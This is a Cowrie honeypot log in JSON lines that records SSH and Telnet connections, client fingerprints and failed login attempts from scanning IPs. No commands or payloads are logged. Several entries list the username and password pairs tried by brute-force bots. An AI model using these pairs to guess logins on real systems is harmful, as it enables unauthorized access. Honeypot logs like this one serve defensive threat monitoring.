{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":43990,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ce10da7f6ad","protocol":"ssh","message":"New connection: 45.143.200.246:43990 (10.17.0.5:22) [session: 6ce10da7f6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:53.232479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:53.237081Z","src_ip":"45.143.200.246","session":"6ce10da7f6ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:53.340397Z","src_ip":"45.143.200.246","session":"6ce10da7f6ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@.com","message":"login attempt [root/123@.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:53.783920Z","src_ip":"45.143.200.246","session":"6ce10da7f6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48754,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb3dbff9938","protocol":"ssh","message":"New connection: 8.210.75.243:48754 (10.17.0.5:22) [session: 3cb3dbff9938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:54.274425Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:54.889754Z","src_ip":"45.143.200.246","session":"6ce10da7f6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":46238,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6deec019055","protocol":"ssh","message":"New connection: 143.20.185.207:46238 (10.17.0.5:22) [session: e6deec019055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:57.562461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:57.566425Z","src_ip":"143.20.185.207","session":"e6deec019055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:57.683778Z","src_ip":"143.20.185.207","session":"e6deec019055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#4VCPU16GBAMD","message":"login attempt [root/RASYAXINSA#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:58.032983Z","src_ip":"143.20.185.207","session":"e6deec019055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:59.150037Z","src_ip":"143.20.185.207","session":"e6deec019055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36184,"dst_ip":"10.17.0.5","dst_port":22,"session":"511cd47d0b6b","protocol":"ssh","message":"New connection: 91.92.40.4:36184 (10.17.0.5:22) [session: 511cd47d0b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:14.251783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:14.255664Z","src_ip":"91.92.40.4","session":"511cd47d0b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:14.337215Z","src_ip":"91.92.40.4","session":"511cd47d0b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"pass","message":"login attempt [git/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:14.587254Z","src_ip":"91.92.40.4","session":"511cd47d0b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:15.671530Z","src_ip":"91.92.40.4","session":"511cd47d0b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":54918,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0e59d2a1557","protocol":"ssh","message":"New connection: 138.124.69.150:54918 (10.17.0.5:22) [session: a0e59d2a1557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:21.605570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:21.609106Z","src_ip":"138.124.69.150","session":"a0e59d2a1557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:21.739878Z","src_ip":"138.124.69.150","session":"a0e59d2a1557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xp123456","message":"login attempt [root/Xp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:22.295717Z","src_ip":"138.124.69.150","session":"a0e59d2a1557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44716,"dst_ip":"10.17.0.5","dst_port":22,"session":"087906689de1","protocol":"ssh","message":"New connection: 8.210.75.243:44716 (10.17.0.5:22) [session: 087906689de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:22.362372Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:23.429274Z","src_ip":"138.124.69.150","session":"a0e59d2a1557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:27.259447Z","src_ip":"8.210.75.243","session":"c7ba185408af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43794,"dst_ip":"159.203.135.109","dst_port":23,"session":"2528ba25e78b","protocol":"telnet","message":"New connection: 107.6.151.170:43794 (159.203.135.109:23) [session: 2528ba25e78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:30.615245Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":60464,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c1b7725f970","protocol":"ssh","message":"New connection: 163.7.1.218:60464 (10.17.0.5:22) [session: 8c1b7725f970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:32.425175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:32.431710Z","src_ip":"163.7.1.218","session":"8c1b7725f970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:32.692054Z","src_ip":"163.7.1.218","session":"8c1b7725f970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":39338,"dst_ip":"159.203.135.109","dst_port":22,"session":"c047f696a133","protocol":"ssh","message":"New connection: 162.240.20.137:39338 (159.203.135.109:22) [session: c047f696a133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:33.002387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:33.005949Z","src_ip":"162.240.20.137","session":"c047f696a133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:33.094512Z","src_ip":"162.240.20.137","session":"c047f696a133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VET$S3cur3@W0rd","message":"login attempt [root/VET$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:33.362081Z","src_ip":"162.240.20.137","session":"c047f696a133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55word!","message":"login attempt [root/Pa55word!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:33.767098Z","src_ip":"163.7.1.218","session":"8c1b7725f970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:35.030722Z","src_ip":"163.7.1.218","session":"8c1b7725f970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:35.038315Z","src_ip":"162.240.20.137","session":"c047f696a133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":37110,"dst_ip":"159.203.135.109","dst_port":22,"session":"d60628497d81","protocol":"ssh","message":"New connection: 159.65.58.200:37110 (159.203.135.109:22) [session: d60628497d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:37.505194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:37.689674Z","src_ip":"159.65.58.200","session":"d60628497d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:37.692318Z","src_ip":"159.65.58.200","session":"d60628497d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shibaev","password":"123456","message":"login attempt [shibaev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:38.619666Z","src_ip":"159.65.58.200","session":"d60628497d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:39.927525Z","src_ip":"159.65.58.200","session":"d60628497d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":34110,"dst_ip":"159.203.135.109","dst_port":22,"session":"91ad71da8bc6","protocol":"ssh","message":"New connection: 208.109.189.255:34110 (159.203.135.109:22) [session: 91ad71da8bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:39.997794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:40.002924Z","src_ip":"208.109.189.255","session":"91ad71da8bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:40.068883Z","src_ip":"208.109.189.255","session":"91ad71da8bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kucoin","password":"Cr@zy#P@ss!W0rd33","message":"login attempt [kucoin/Cr@zy#P@ss!W0rd33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:40.266085Z","src_ip":"208.109.189.255","session":"91ad71da8bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:41.333909Z","src_ip":"208.109.189.255","session":"91ad71da8bc6","protocol":"ssh"}
